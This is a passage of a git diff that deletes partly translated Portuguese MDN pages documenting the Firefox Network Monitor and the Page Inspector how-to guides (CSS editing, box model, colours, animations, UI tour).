Clicking on a row displays a new pane in the right-hand side of the network monitor, which provides more detailed information about the request.

- -

- -

The tabs at the top of this pane enable you to switch between the following pages:

- -
    -
  • Headers
  • -
  • Cookies
  • -
  • Params
  • -
  • Response
  • -
  • Cache
  • -
  • Timings
  • -
  • Security (only for secure pages)
  • -
  • Stack trace (only when the request has a stack trace, e.g. a script called by another script). This has been available since Firefox 55.
  • -
- -

Clicking the icon at the right-hand end of the toolbar closes the details pane and returns you to the list view.

- -

Cabeçalhos

- -

This tab lists basic information about the request:

- -

- -

This includes:

- -
    -
  • Request URL
  • -
  • Request method
  • -
  • Remote IP address and port (new in Firefox 39)
  • -
  • Status code with question mark icon linking to MDN doc for more details (if available)
  • -
  • The HTTP request and response headers that were sent
  • -
  • An Edit and Resend button to edit and resend the request
  • -
  • A Raw headers button to display the raw request and response headers
  • -
- -

You can filter the headers that are displayed:

- -

- -
-

New in Firefox 54

-
- -

From Firefox 54 onwards, you will see a question mark icon next to each header in the Status code row — this is a link to more information about that particular status code, in the MDN documentation of the HTTP headers.

- -

Cookies

- -

This tab lists full details of any cookies sent with the request or response:

- -

- -

As with headers, you can filter the list of cookies displayed. The full list of cookie attributes is shown — see the below screenshot from a Response cookies examples with further attributes shown.

- -

cookies panel in firefox devtools network monitor, showing a number of cookie attributes including samesite

- -

The samesite attribute has been shown since Firefox 62 ({{bug("1452715")}}).

- -

Paramêtros

- -

This tab displays the GET parameters and POST data of a request:

- -

- -

Resposta

- -

The complete content of the response. If the response is HTML, JS, or CSS, it will be shown as text:

- -

- -

If the response is JSON, it will be shown as an inspectable object.

- -

If the response is an image, the tab displays a preview:

- -

- -

Cache

- -

If the response is cached (i.e. a 304), the Cache tab will display details about that cached resource.

- -

- -

These details include:

- -
    -
  • Last fetched: The date the resource was last fetched.
  • -
  • Fetched count: The number of times in the current session that the resource has been fetched.
  • -
  • Data size: The size of the resource.
  • -
  • Last modified: The date the resource was last modified.
  • -
  • Expires: The date the resource expires.
  • -
  • Device: The device the resource was fetched from (e.g. "disk").
  • -
- -

HTML preview

- -

From Firefox 59 onwards, if the response is HTML, a preview of the rendered HTML appears inside the Response tab, above the response payload.

- -

- -

Timings

- -

The Timings tab breaks a network request down into the following subset of the stages defined in the HTTP Archive specification:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomeDescrição
Blocked -

Time spent in a queue waiting for a network connection.

- -

The browser imposes a limit on the number of simultaneous connections that can be made to a single server. In Firefox this defaults to 6, but can be changed using the network.http.max-persistent-connections-per-server preference. If all connections are in use, the browser can't download more resources until a connection is released.

-
DNS resolutionTime taken to resolve a host name.
ConnectingTime taken to create a TCP connection.
SendingTime taken to send the HTTP request to the server.
WaitingWaiting for a response from the server.
ReceivingTime taken to read the entire response from the server (or cache).
- -

It presents a more detailed, annotated, view of the timeline bar for that request showing how the total wait time is split into the various stages:

- -

- -

Segurança

- -

If the site is being served over HTTPS, you get an extra tab labeled "Security". This contains details about the secure connection used including the protocol, the cipher suite, and certificate details:

- -

- -

The Security tab shows a warning for security weaknesses. Currently it warns you about two weaknesses:

- -
    -
  1. Using SSLv3 instead of TLS
  2. -
  3. Using the RC4 cipher
  4. -
- -

- -

Stack trace

- -

Since Firefox 55, stack traces are shown in the Stack Trace tab, for responses that have a stack trace of course.

- -

- -

Pausing and resume network traffic recording

- -

In Firefox 58 and above, the Network Monitor has a button that pauses and resumes recording of the current page's network traffic. This is useful in situations where, for example, you are trying to get a stable view of a page for debugging purposes, but under normal circumstances the view keeps evolving due to persistent network requests. The pause button allows you to look at a certain snapshot.

- -

The button can be found at the far left of the main Network Monitor toolbar, and looks like a typical pause button — .

- -

You can see it here in context:

- -

- -

Once pressed, the button changes to a play icon, and you can toggle network traffic recording back on by pressing it again.

- -

Análise de desempenho

- -

The Network Monitor includes a performance analysis tool, to help show you how long the browser takes to download the different parts of your site.
-
- To run the performance analysis tool click the stopwatch icon in the toolbar.

- -

(Alternatively, if you have only just opened the Network Monitor, so it's not yet populated with the list of requests, you'll get a stopwatch icon in the main window.)

- -

The Network Monitor then loads the site twice: once with an empty browser cache, and once with a primed browser cache. This simulates the first time a user visits your site, and subsequent visits. It displays the results for each run side by side, or vertically if the browser window is narrow:

- -

- -

The results for each run are summarised in a table and a pie chart. The tables group resources by type, and show the total size of each resource and the total time it took to load them. The accompanying pie chart shows the relative size of each resource type.

- -

To get back to the Network Monitor's list of network requests click the "Back" button on the left.

- -

Clicking on a slice of the pie takes you to the Network Monitor for that run, with a filter automatically applied to see only that resource type.

- -

Throttling

- -

In Firefox 61 onwards, the toolbar includes a Throttling dropdown, which allows you to throttle your network speed to emulate various different network speed conditions. Simply choose an option from the menu, and it will persist across reloads.

- -

- -

The characteristics emulated are:

- -
    -
  • Download speed
  • -
  • Upload speed
  • -
  • Minimum latency
  • -
- -

The table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SeleçãoVelocidade de transferênciaVelocidade de envioLatência mínima (ms)
GPRS50 KB/s20 KB/s500
Regular 2G250 KB/s50 KB/s300
Good 2G450 KB/s150 KB/s150
Regular 3G750 KB/s250 KB/s100
Good 3G1.5 MB/s750 KB/s40
Regular 4G/LTE4 MB/s3 MB/s20
DSL2 MB/s1 MB/s5
Wi-Fi30 MB/s15 MB/s2
diff --git a/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html b/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html deleted file mode 100644 index 754f2d327b..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Visualizar tipos de letra -slug: Tools/Page_Inspector/How_to/Edit_fonts -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Edit_fonts -original_slug: Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra ---- -
{{ToolsSidebar}}

Dica da ferramenta da família do tipo de letra

- -

Se passar o rato sobre uma propriedade da família do tipo de letra em visualizar Regras, irá obter uma dica de ferramenta com uma amostra desse tipo de letra:

- -

- -

Visualizar tipos de letra

- -
-

Apenas na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite about:config, encontre a preferência devtools.fontinspector.enabled, e defina-a para "true".

- -

Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.

-
- -

Em visualizar Tipos de Letra mostra todos os tipos de letra em utilziação pelo elemento selecionado. Note que esta mostra o tipo de letra utilizado no seu sistema, que poderá ser diferente dos tipos de letra especificados na CSS:

- -

- -

O texto em 'visualizar tipo de letra' é "Abc" por predefinição, e a partir da versão 41 do Firefox o texto da pré-visualização pode ser editado livremente.

diff --git a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html deleted file mode 100644 index c7d964641d..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html +++ /dev/null @@ -1,224 +0,0 @@ ---- -title: Examinar e editar CSS -slug: Tools/Page_Inspector/How_to/Examine_and_edit_CSS -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS -original_slug: Tools/Page_Inspector/How_to/Examinar_e_editar_CSS ---- -
{{ToolsSidebar}}

Pode examinar e editar CSS no painel de CSS do Inspetor.

- -

Examinar regras de CSS

- -

visualização de Regras lista todas regras que se aplicam ao elemento selecionado, ordenada pela mais específica para a menos específica:

- -

- -

The Rules view lists user-agent styles (styles applied by the browser) if the option to do so is checked in the developer tool settings. Note that this setting is independent of the "Browser styles" checkbox in the Computed view.

- -

The Rules view displays all authored styles, including styles that are not supported or that are invalid. This can help you understand why certain styles are not being applied:

- -

- -

Exibir regra

- -

It displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.

- -

- -
    -
  • Highlight matched elements: next to the selector is a target icon: click this to highlight all nodes in the page that match this selector.
  • -
  • Overridden declaration: declarations that are overridden by later rules are crossed out. See overridden declarations.
  • -
  • Show cascade: next to overridden declarations is a magnifying glass: click this to see the cascade of rules containing the overridden property. See overridden declarations.
  • -
  • Enable/disable: if you hover over a declaration, a checkbox appears next to it: you can use this to toggle the declaration on or off.
  • -
  • Filename and line number: on the right-hand side is a link to the rule. See link to CSS file.
  • -
- -

Starting in Firefox 52, if the element has a display: grid declaration, then it gets a grid icon next to it, like this: . Click that icon to display the grid overlaid on the page, including grid lines and tracks. See Examine grid layouts for more on this.

- -

User-agent styles are displayed with a different background, and the link to the filename and line number contains the prefix (user agent):

- -

- -

element {} rule

- -

The element {} rule at the top of the rules list isn't actually a CSS rule. It represents the CSS properties assigned to the element via its {{htmlattrxref("style")}} attribute.

- -

Starting in Firefox 52, this also gets the target icon: , giving you a convenient way to highlight the currently selected element in the page.

- -

{{EmbedYouTube("bQzOAFvEDco")}}

- -

Filtrar regras

- -

There's a box at the top of the Rules view labeled "Filter Styles":

- -

As you type:

- -
    -
  • any rules which don't contain the typed string at all are hidden
  • -
  • any declarations which contain the typed string are highlighted
  • -
- -

Click the "X" at the end of the search box to remove the filter.

- -
-

While in the Rules view, you can press Ctrl / Cmd + F to focus the search field. Once you've typed in a filter, you can press Esc to remove it again.

-
- -

{{EmbedYouTube("9w8vDIWqnAE")}}

- - - -

By default, the search box highlights all declarations which contain any part of the string. For example, searching for "color" will highlight declarations containing border-bottom-color and background-color as well as just color.:

- -

- -

If you enclose the search query in ticks, like this: `color`, the search is restricted to exact matches:

- -

- -

Expanding shorthand properties

- -

Shorthand properties can be expanded to display their related longhand properties by clicking the arrow besides them.

- -

Displaying pseudo-elements

- -

The Rule view displays the following pseudo-elements, if they are applied to the selected element:

- -

::after
- ::backdrop

- ::before
- ::first-letter
- ::first-line
- ::selection
- :-moz-color-swatch
- :-moz-number-spin-box
- :-moz-number-spin-down
- :-moz-number-spin-up
- :-moz-number-text
- :-moz-number-wrapper
- :-moz-placeholder
- :-moz-progress-bar
- :-moz-range-progress
- :-moz-range-thumb
- :-moz-range-track
- :-moz-selection

- -

If the selected element has pseudo-elements applied to it, they are displayed before the selected element but hidden by a disclosure triangle:

- -

- -

Clicking the triangle displays them:

- -

- -

Setting :hover, :active, :focus

- -

There's a button to the right of the filter box:

- -

Click the button to see three checkboxes, which you can use to set the {{cssxref(":hover")}}, {{cssxref(":active")}} and {{cssxref(":focus")}} pseudo-classes for the selected element:

- -

This feature can also be accessed from the popup menu in the HTML view.

- -

If you set one of these pseudo-classes for a node, an orange dot appears in the markup view next to all nodes to which the pseudo-class has been applied:

- -

- -

Hiperligação para ficheiros CSS

- -

At the top right of each rule, the source filename and line number is displayed as a link: clicking it opens the file in the Style Editor.

- -

You can copy the location of the source file: right-click the link and select "Copy Location".

- -

The Inspector understands CSS source maps. That means that if you are using a CSS preprocessor that has support for source maps, and you've enabled source map support in the Style Editor settings, then the link will take you to the original source, not the generated CSS. Read more about CSS source map support in the Style Editor documentation.

- -

Obter ajuda para as propriedades de CSS

- -

If you context-click on a CSS property name in the Rules view, you can open a popup displaying help for that property from MDN:

- -

{{EmbedYouTube("ptVtAEOK7y4")}}

- -

Note that for the moment, this doesn't cache responses from MDN, so it requires network connectivity.

- -

Overridden declarations

- -

If a CSS declaration is overridden by some other CSS rule with a greater weight, then the declaration is shown with a line through it.

- -

Overridden declarations have a magnifying glass next to them. Click the magnifying glass to filter the rule view to show only the rules applying to the current node that try to set the same property: that is, the complete cascade for the given property.

- -

This makes it easy to see which rule is overriding the declaration:

- -

{{EmbedYouTube("i9mDVjJAGwQ")}}

- -

Examinar CSS computada

- -

To see the complete computed CSS for the selected element, switch to the Computed view. This shows the calculated value that each CSS property has for the selected element:

- -

- -

You can Tab through them to select them, and from Firefox 49 onwards, you can find more information about these properties — pressing F1 on a selected property will open up its MDN reference page.

- -

Clicking the arrow next to the property name (or pressing Enter or Space while it is selected) shows the rule that set this value, along with a link to the source filename and line number:

- -

- -

By default, this view only shows values that have been explicitly set by the page: to see all values, click the "Browser styles" box. You can Tab through the filenames/line numbers; pressing Enter/Return will open up the relevant file at that point in the Style Editor.

- -

Typing in the search box performs a live filtering of the list, so, for example, if you just want to see font-related settings, you can type "font" in the search box, and only properties with "font" in the name will be listed. You can also search for the values of properties: to find the rule responsible for setting the font to "Lucida Grande", type that in the search box.

- -
-

While in the Computed view, you can press Ctrl / Cmd + F to focus the search field. Once you've typed in a filter, you can press Esc to remove it again.

-
- -

Editar regras

- -

If you click on a declaration or a selector in the Rules view you can edit it and see the results immediately. You can also Tab through the different existing properties and values, and start editing them by pressing Enter or Space. To add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace).

- -

As you start typing a property name, you'll see a list of autocomplete suggestions. Press Tab to accept the current suggestion or Up and Down to move through the list. The default choice is the most common property that starts with the letters you've typed. For example, here the user has typed "c" and the default choice is "color":

- -

- -

If you enter an invalid value for a property when editing it, or an unknown property name, a yellow alert icon appears besides the declaration.

- -

Any changes you make are temporary: reloading the page will restore the original styling.

- -

You can use the arrow keys to increase/decrease numeric rules while editing. The Up arrow will turn "1px" to 2px, and Shift + Up/Down will increment by 10. Alt + Up/Down change values by 0.1, and Shift + Page up/Page down will add or subtract 100 from the value.

- -

Edits that you make in the Rules view are reflected in the Style Editor, and vice versa.

- -

Starting in Firefox 52, if you're editing CSS, the context menu you'll see is the normal one for working with editable text:

- -

- -

Adicionar regras

- -

You can add new rules in the Rules view. Just right-click to show the context menu and select "Add rule". This will add a new CSS rule whose selector matches the currently selected node.

- -

- -

There's also a button that enables you to do the same thing:

- -

- -

Copiar regras

- -

To copy rules, and pieces of rules, use one of the following context menu items in the Rules view:

- -
    -
  • Copy Rule
  • -
  • Copy Selector
  • -
  • Copy Property Declaration
  • -
  • Copy Property Name
  • -
  • Copy Property Value
  • -
- -

- -

Consultar também

- -
    -
  • Lista completa dos talhos de Teclado do Inspetor de Página.
  • -
  • The Inspector also includes a number of specialized tools for working with particular CSS features, such as colors, fonts, and animations. To read about these see the list of guias de como....
  • -
diff --git a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html deleted file mode 100644 index 1b974d90d7..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Examinar e editar o modelo de caixa -slug: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model -tags: - - Ferramentas - - Guia(2) -translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model -original_slug: Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa ---- -
{{ToolsSidebar}}

Visualização do modelo de caixa

- -

Com o botão de selecionar Elemento pressionado, se passar o rato por cima de um elemento na página, é mostrado o modelo de caixa para o elemento sobreposto na página:

- -

{{EmbedYouTube("vDRzN-svJHQ")}}

- -

Também é mostrado sobreposto se passar com o rato sobre uma marcação de elemento no painel de HTML:

- -

{{EmbedYouTube("xA4IxTttNLk")}}

- -

Se o elemento está em linha e é dividido em várias caixas de linha, o marcador mostra a cada caixa de linha individual que formam o elemento:

- -

- -

A visualização do Modelo de Caixa

- -

Quando é selecionado um elemento, pode obter uma visão detalhada do modelo na visualização do Modelo de Caixa:

- -

- -

Se passar o rato sobre um valor, verá uma dica de ferramenta a dizer qual é a regra que o valor provém de:

- -

- -

Se passar o rato sobre uma parte do modelo de caixa na visualização do Modelo de Caixa, a parte correspondente da página é realçada:

- -

{{EmbedYouTube("H3ZxRbbyfwI")}}

- -

Edição do modelo de caixa

- -

Também pode editar os valores na visualização do Modelo de Caixa, e ver os resultados imediatatamente na página:

- -

{{EmbedYouTube("gHjDjM8GJ9I")}}

diff --git a/files/pt-pt/tools/page_inspector/how_to/index.html b/files/pt-pt/tools/page_inspector/how_to/index.html deleted file mode 100644 index 4bf8c51b69..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Como... -slug: Tools/Page_Inspector/How_to -tags: - - NeedsTranslation - - TopicStub -translation_of: Tools/Page_Inspector/How_to ---- -
{{ToolsSidebar}}

As hiperligações para os vários 'Como...' podem ser encontradas aqui. Estas hiperligações descrevem em profundidade as técnicas de 'Como...'.

- -

{{ ListSubpages () }}

- -

 

diff --git a/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html b/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html deleted file mode 100644 index 3f062fe81e..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Inspecionar e selecionar cores -slug: Tools/Page_Inspector/How_to/Inspect_and_select_colors -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors -original_slug: Tools/Page_Inspector/How_to/Inspecionar_e_selecionar_cores ---- -
{{ToolsSidebar}}

Em visualizar Regras no Painel de CSS, se uma regra contém um valor de cor, irá ver uma amostra da da cor junto ao valor:

- -

- -

Se clicar na amostra de cor, verá uma janela para selecionar a cor, permitindo-lhe alterar a cor:

- -

- -

O selecionador de cores inclui um ícone 'conta-gotas': ao clicar neste ícone permite-lhe utilizar o 'conta-gotas' para selecionar uma nova cor para o elemento da página:

- -

{{EmbedYouTube("0Zx1TN21QOo")}}

- -

A partir da versão 40 do Firefox, ao clicar na amostra de cor enquanto mantém pressionada a tecla 'Shift' irá alterar o formato da cor:

- -

{{EmbedYouTube("gYL8-gxc1MA")}}

- -

A partir da versão 53 do Firefox e superior, este suporta os valores de cor de nível 4 de CSS (EN).

diff --git a/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html b/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html deleted file mode 100644 index e0c41be605..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Abrir o Inspetor -slug: Tools/Page_Inspector/How_to/Open_the_Inspector -tags: - - Ferramentas - - Guía - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector -original_slug: Tools/Page_Inspector/How_to/Abrir_o_inspetor ---- -
{{ToolsSidebar}}
- -

Existem dois modos principais para abrir o Inspetor:

- -
    -
  • sem um elemento selecionado: escolha "ferramentas -> Programador Web -> Inspetor" na Barra de Menu ou o atalho de teclado equivalente.
  • -
  • com um elemento selecionado: clique direito do rato num elemento na página da Web e selecione "Inspecionar Elemento"
  • -
- -

O 'Inspetor' irá aparecer no fundo da janela do navegador:

- -

Para começar a encontrar a sua direção em torno do Inspetor, consulte Guia de IU.

diff --git a/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html b/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html deleted file mode 100644 index 7774199cd0..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Reposição de elementos na página -slug: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page -translation_of: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page -original_slug: Tools/Page_Inspector/How_to/Reposicao_de_elementos_na_pagina ---- -
{{ToolsSidebar}}
New in Firefox 48
- -

A partir da versão 48 do Firefox pode mover absolutamente os elementos posicionados, arrastando-os em redor da página.

- -

{{EmbedYouTube("Or5HM1FFhvE")}}

- -

Se um elemento tem a sua propriedade {{cssxref("position")}} definida para absoluta, relativa ou fixa e uma ou mais propriedades de {{cssxref("top")}}, {{cssxref("bottom")}} , {{cssxref("left")}} ou {{cssxref("right")}}, a visualização do Modelo de Caixa exibe um botão:

- -

- -

Se clicar nesse botão, aparecem dois pontos de apoio junto ao elemento:

- -

Example for changing the position of an element within the content

- -

Pode esses pontos de apoio para arrastar o elemento em redor da página.

- -

Se o elemento estiver absolutamente posicionado, as linhas tracejadas são mostrados a representar o deslocamento original. Para os elementos relativamente posicionados, as linhas tracejadas indicam a posição original do nodo. Os deslocamentos são indicados por uma linha e uma dica da ferramenta para cada lado.

diff --git a/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html b/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html deleted file mode 100644 index 17d474a9af..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Utilizar a API do Inspetor -slug: Tools/Page_Inspector/How_to/Use_the_Inspector_API -tags: - - Ferramentas - - Inspetor - - Referência(2) -translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_API -original_slug: Tools/Page_Inspector/How_to/Utilizar_a_API_do_Inspetor ---- -
{{ToolsSidebar}}

Firefox add-ons may access the following objects from the chrome://browser/content/devtools/inspector/inspector.xul context:

- -

window.inspector

- -

defined in inspector-panel.js. Attributes and functions:

- -
    -
  • .selection - information about the inspector's selection: -
      -
    • .isNode() - returns true if selection is node.
    • -
    • .node - returns the actual element from the page
    • -
    • .window - the window object of the frame the selection is in.
    • -
    -
  • -
  • .markDirty() - marks that the page has been changed by the inspector - a warning will be shown when leaving the page, since changes made through the inspector are rewritten on reload.
  • -
- -

Bindable events using on:

- -

markuploaded

- -

Called when the left panel has been refreshed, after page change.

- -

ready

- -

Called on first markuploaded.

- -

pseudoclass

- -

Called after toggle of a pseudoclass.

- -

layout-change

- -

"low-priority change event for things like paint and resize."

diff --git a/files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html b/files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html deleted file mode 100644 index 1ad38640b4..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Visualizar transformações -slug: Tools/Page_Inspector/How_to/Visualize_transforms -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Visualize_transforms ---- -
{{ToolsSidebar}}

Se passar o rato sobre uma propriedade transform em visualizar Regras, irá ver a transformação sobreposta na página:

- -

diff --git a/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html b/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html deleted file mode 100644 index 7f78a2eee5..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Trabalhar com animações -slug: Tools/Page_Inspector/How_to/Work_with_animations -translation_of: Tools/Page_Inspector/How_to/Work_with_animations -original_slug: Tools/Page_Inspector/How_to/Trabalhar_com_animacoes ---- -
{{ToolsSidebar}}

Este artigo aborda três ferramentas que pode utilizar para visualizar e editar animações:

- - - -

Inspetor de animação

- -
-

Although this tool was introduced in Firefox 41, its UI was revamped in Firefox 43. This article describes the animation inspector as it appears in Firefox 43 and subsequent releases. If you want to see what the animation inspector looks like in Firefox 41 and 42, see this separate page.

-
- -

From Firefox 41, the Page Inspector includes an extra view labeled "Animations".

- -

This view displays CSS transitions and CSS animations synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.

- -

To see how it works, we'll walk through an example. The box below contains three grayscale icons, each representing a different Firefox channel. If you click an icon, the icon enlarges and changes to color, and the name of the channel appears. Click the icon again to reverse the effect. These animations are made by applying transitions to several CSS properties.

- -

{{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}

- -

Let's use the animation inspector to see what's going on in this example.

- -
    -
  • Using Firefox 43 or later, right-click one of the icons and select "Inspect Element".
  • -
  • You'll probably also want to adjust the selected node up a level, to the <div class="channel"> node.
  • -
  • Switch over to the "Animations" tab.
  • -
- -

{{EmbedYouTube("U2eJYacf5XY")}}

- -

Now play the animation:

- -

{{EmbedYouTube("CwXXXEllB3o")}}

- -

Let's take a closer look at the contents of the animation inspector here:

- -

- -

It shows a synchronized timeline for every CSS property transition involved in the animation. The timeline starts at the start of the first transition, and ends at the end of the last transition, and is labeled with markers every 100 milliseconds (this depends on the time scale of the animations currently displayed). You can see that the example above takes 735 milliseconds to run.

- -

Cada animação ou transição é mostrada como uma barra horizontal disposta através da barra cronológica:

- -
    -
  • The bar is blue if a transition was used to animate a property, and orange if a @keyframes animation was used.
  • -
  • From Firefox 44 onwards, the bar contains a lightning bolt icon () if the property was animated using the compositor thread (see more about the cost of animating different CSS properties).
  • -
  • The bar is labeled with the name of the property being animated or the name of the @keyframes animation.
  • -
  • If the animation or transition had a delay, this is shown as a cross-hatched portion of the bar.
  • -
  • If you hover over the bar, a tooltip appears, giving you more detailed information about the animation or transition.
  • -
- -

To the left of each bar is a selector for the node that the animation applies to. If you hover over this selector, the node is highlighted in the page. Click the selector to select the node in the inspector.

- -

To the left of the selector is a "target" icon (). From Firefox 44, clicking this icon will lock the highlighter on the element.

- -

Aplicando tudo isto para o nosso exemplo, nós podemos ver que:

- -
    -
  • The animation involved two elements, span.channel-note and img#selected.channel-icon. Hovering over these selectors, we can see that those elements are, respectively, the channel name "Firefox Nightly" and the channel icon: {{EmbedYouTube("EOUjHt0V1No")}}
  • -
  • Each element had two properties animated: - -
  • -
  • The filter property had a delay of 0.25 seconds applied to it.
  • -
  • The transform property transition ends after 0.5 seconds.
  • -
  • The transform property was animated on the compositor thread.
  • -
- -

Reprodução de animação

- -

No topo do inspetor de animação:

- -
    -
  • there are buttons to play/pause and rewind the animation (new in Firefox 44)
  • -
  • the current time in the animation is displayed (new in Firefox 44).
  • -
- -

Finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move backwards and forwards through the animation, and pinpoint exactly what's happening when:

- -

{{EmbedYouTube("1hqNaMsB48g")}}

- -

Editar @keyframes

- -

Quaisquer regras de @keyframes associadas com o elemento atualmente selecionado são exibibas na Visualização das Regras e são editáveis:

- -

{{EmbedYouTube("mDHtLK88ZW4")}}

- -

Editar funções de sincronização

- -

When you create a CSS animation you can specify a timing function: this determines the rate at which the animation progresses. One way to specify the timing function is with a cubic Bézier curve.

- -

Timing functions defined as cubic Bézier curves get an icon in the Rules view. If you click the icon you get a visual editor for the curve, enabling you to drag P1 and P2, and see the results in the page:

- -

{{EmbedYouTube("GW5-R2ewaqA")}}

- -

Esta funcionalidade utiliza o código fonte de Lea Verou’s cubic-bezier.com.

- -

O editor cúbico Bézier inclui um número de pré-ajustes, agrupados sob "Ease-in", "Ease-out", and "Ease-in-out":

- -

{{EmbedYouTube("Jx-J2Yy0aSg")}}

diff --git a/files/pt-pt/tools/page_inspector/index.html b/files/pt-pt/tools/page_inspector/index.html deleted file mode 100644 index 66745268f4..0000000000 --- a/files/pt-pt/tools/page_inspector/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Inspetor de Página -slug: Tools/Page_Inspector -tags: - - CSS - - DOM - - Desenvolvimento da Web - - 'Desenvolvimento da Web: Ferramentas' - - Folhas de estilo - - HTML - - Precisa de Tradução - - 'l10n:prioridade' -translation_of: Tools/Page_Inspector ---- -
{{ToolsSidebar}}

Utilize o 'Inspetor de Página' para examinar e modificar o HTML e CSS de uma página.

- -

Pode examinar as páginas carregadas na cópia local do Firefox ou num destino remoto, tal como um dispositivo com o Firefox OS ou Firefox para Android. Consulte a depuração remota para saber como ligar as ferramentas de desenvolvimento a um destino remoto.

- -
-

Guia da Interface do Utilizador

- -

Para se movimentar no Inspector, pode ver um guia rápido da IU.

- -
-

Como...

- -

Saiba o que pode fazer com o Inspetor, consulte os seguintes guias de como...:

- - - -
-

Referência

- - diff --git a/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html b/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html deleted file mode 100644 index 07699f08e9..0000000000 --- a/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Atalhos de teclado do inspetor de página -slug: Tools/Page_Inspector/Keyboard_shortcuts -translation_of: Tools/Page_Inspector/Keyboard_shortcuts -original_slug: Tools/Page_Inspector/atalhos_de_teclado ---- -
{{ToolsSidebar}}

{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "page-inspector") }}

- -

Atalhos globais

- -

{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "all-toolbox-tools") }}

- -
- - - - - -
diff --git a/files/pt-pt/tools/page_inspector/ui_tour/index.html b/files/pt-pt/tools/page_inspector/ui_tour/index.html deleted file mode 100644 index e5d892f945..0000000000 --- a/files/pt-pt/tools/page_inspector/ui_tour/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Guia de IU -slug: Tools/Page_Inspector/UI_Tour -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/UI_Tour -original_slug: Tools/Page_Inspector/Guia_de_IU ---- -
{{ToolsSidebar}}

Este artigo é um guia rápido das secções principais da interface do utilizador de Inspetor de Página.

- -

Esta abrange três componentes de topo da IU do Inspetor:

- -
    -
  • o botão de "Selecionar elemento"
  • -
  • o painel de HTML
  • -
  • o painel de CSS
  • -
- -

This guide is intentionally kept as short as possible. It links to various how to guides for the details of how to work with the Inspector.

- -

Botão de selecionar elemento

- -

The Inspector gives you detailed information about the currently selected element. The Select element button is one way you can select an element for inspection:

- -

- -

